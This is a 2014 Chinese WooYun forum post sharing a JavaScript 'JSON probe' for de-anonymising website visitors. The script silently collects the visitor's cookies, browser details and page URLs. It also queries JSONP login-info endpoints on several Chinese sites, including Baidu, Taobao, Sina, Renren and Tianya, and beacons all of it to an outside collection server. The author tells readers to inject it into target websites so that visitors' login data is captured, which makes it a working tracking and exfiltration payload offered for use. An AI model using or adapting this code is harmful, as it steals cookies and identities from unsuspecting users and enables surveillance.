JSON探针—定位目标网络虚拟信息身份 (WOOYUN)

  • A+
所属分类:WooYun-Zone

Jacks (https://royalhack.ru) JSON探针—定位目标网络虚拟信息身份  (WOOYUN) | 2014-11-06 00:03

11月啦,放点东西出来 给wooyun的伙伴们分享下,其实这个技术已经很成熟啦.不过还是有不知道的童鞋吧。
BTW看了看我的注册时间,数数手指也有3年近4年的样子啦...也见证了wooyun的成长过程.
从当初的rank榜单top10到现在,感叹,弹指一挥间..不过我相信在wooyun这个平台上的帽子们,无论白帽黑帽,只要是会捉老鼠的都是好帽,所以说,我坚信,大家做一件事情,都不忘初衷...坚持!废话是不是很多?哈哈..

看看下面部分的核心代码,我也就贴部分啦,其实实现起来很Easy,需要一个后端去接收。
它的用处呢,标题大家也看到了,至于能扩展到什么程度,怎么使用,那就看大家的思路啦。。。
window.onerror=function(){
  return true;
}
http_server = "http://lemon.1nlab.com/index.php?do=api&id=lemon&content=";
var info = {};
info.browser = function(){
  ua = navigator.userAgent.toLowerCase();
  var rwebkit = /(webkit)[ \/]([\w.]+)/;
  var ropera = /(opera)(?:.*version)?[ \/]([\w.]+)/;
  var rmsie = /(msie) ([\w.]+)/;
  var rmozilla = /(mozilla)(?:.*? rv:([\w.]+))?/;
  var match = rwebkit.exec( ua ) ||
  ropera.exec( ua ) ||
  rmsie.exec( ua ) ||
  ua.indexOf("compatible") < 0 && rmozilla.exec( ua ) ||
  [];
  return {
    name: match[1] || "", version: match[2] || "0"
  };
}();
info.url =  document.location.href;
info.ua = escape(navigator.userAgent);
info.lang = navigator.language;
info.referrer = document.referrer;
info.location = window.location.href;
info.toplocation = top.location.href;
info.cookie = escape(document.cookie);
info.domain = document.domain;
info.title = document.title;
info.screen = function(){
  var c = "";
  if (self.screen) {
    c = screen.width+"x"+screen.height;
  }
  return c;
}();
info.flash = function(){
  var f="",n=navigator;
  if (n.plugins && n.plugins.length) {
    for (var ii=0;ii<n.plugins.length;ii++) {
      if (n.plugins[ii].name.indexOf('Shockwave Flash')!=-1) {
        f=n.plugins[ii].description.split('Shockwave Flash ')[1];
        break;
      }
    }
  }
  else
  if (window.ActiveXObject) {
    for (var ii=10;ii>=2;ii--) {
      try {
        var fl=eval("new ActiveXObject('ShockwaveFlash.ShockwaveFlash."+ii+"');");
        if (fl) {
          f=ii + '.0';
          break;
        }
      }
      catch(e) {}
    
    }
  }
  return f;
}();
function inj_script(a, b) {
  var o = document.createElement("script");
  o.src = a;
  if (b) {
    if (!window.ActiveXObject) {
      o.onload = b;
    }
    else {
      o.onreadystatechange = function () {
        if (o.readyState == 'loaded' || o.readyState == 'complete') {
          b();
        }
      }
    }
  }
  document.getElementsByTagName("body")[0].appendChild(o);
  return o;
}
function json2str(o) {
  if(typeof o == 'string') return o;
  var arr = [];
  var fmt = function(s) {
    if (typeof s == 'object' && s != null) return json2str(s);
    return /^(string|number)$/.test(typeof s) ? "'" + s + "'" : s;
  }
  for (var i in o) arr.push("'" + i + "':" + fmt(o[i]));
  return '{' + arr.join(',') + '}';
}
video_login_callback = function(o){
  new Image().src = http_server + escape(json2str(o)) + "&content2=baidu";
}
e163_comment = function(o){
  new Image().src = http_server + escape(json2str(o)) + "&content2=163";
}

sina_1368631232407449 = function(o){
  new Image().src = http_server + escape(json2str(o)) + "&content2=sina";
}

loginInfoJson = function(o){
  new Image().src = http_server + escape(json2str(o)) + "&content2=taobao";
}

jsonp1368705676193 = function(o){
  new Image().src = http_server + escape(json2str(o)) + "&content2=mop";
}

jsonp1368751970360 = function(o){
  new Image().src = http_server + escape(json2str(o)) + "&content2=dangdang";
}

jQuery1368758656634 = function(o){
  new Image().src = http_server + escape(json2str(o)) + "&content2=renren";
}
window.onload = function(){
  new Image().src = http_server + escape(json2str(info)) + "&content2=info%20";
  try{
    inj_script('http://baike.baidu.com/api/login/?callback=video_login_callback');
  }
  catch(e){}
  try{
    inj_script('http://comment.money.163.com/reply/check.jsp?time=1367240961474&callback=e163_comment');
  }
  catch(e){}
  

  try{
    inj_script('http://i.house.sina.com.cn/sso/get_cookie.php?callback=sina_1368631232407449');
  }
  catch(e){}
  
  try{
    inj_script('http://i.bendi.taobao.com/userLoginInfo.do?callback=loginInfoJson&t=1368683974713');
  }
  catch(e){}

  

  try{
    inj_script('http://passport.mop.com/common/user-info?callback=jsonp1368705676193');
  }
  catch(e){}
  
  try{
    inj_script('http://commapi.dangdang.com/api/toolbar_ads_api.php?jsoncallback=jsonp1368751970360');
  }
  catch(e){}
  
  try{
    inj_script('http://passport.game.renren.com/user/info?callback=jQuery1368758656634&_=1368758656639');
  }
  catch(e){}
  
  try{
    inj_script('http://uis.i.sohu.com/api/passport.jsp?from=roll&_=1361671333278');
  }
  catch(e){}
  
  
  try{
    inj_script('http://www.tianya.cn/api/msg?method=messagesys.selectmessage&params.pageSize=1&params.pageNo=1&_=1368893252433&var=tianya_msg');
  }
  catch(e){}

  setTimeout(function(){
    var o = [_passport];
    new Image().src = http_server + escape(json2str(o)) + "&content2=sohu";
  }
  ,3000);

  setTimeout(function(){
    var o = tianya_msg.data.list[0].toUserName+'|'+tianya_msg.data.list[0].toUserId;
    new Image().src = http_server + escape(json2str(o)) + "&content2=tianya";
  }
  ,5000);
};

我就不逐行去做解释了,大家可以看到里面有很多国内的大型SNS站点,购物站,等等。
这里你可以自定义添加你想要的,然后呢,你把这段代码注入到目标网站上,那么访问者访问以后。
假设他之前有访问过这些代码里面自定义的网站,比如baidu空间,当当网,新浪微博,淘宝,等等网站。
那么他之前的登陆信息就会被我们截获到,并且记录到我们的后台。也就是最开始那段http_server那个地址里面去... 好了,洗洗睡了。。。欢迎各位 拍砖...

分享到: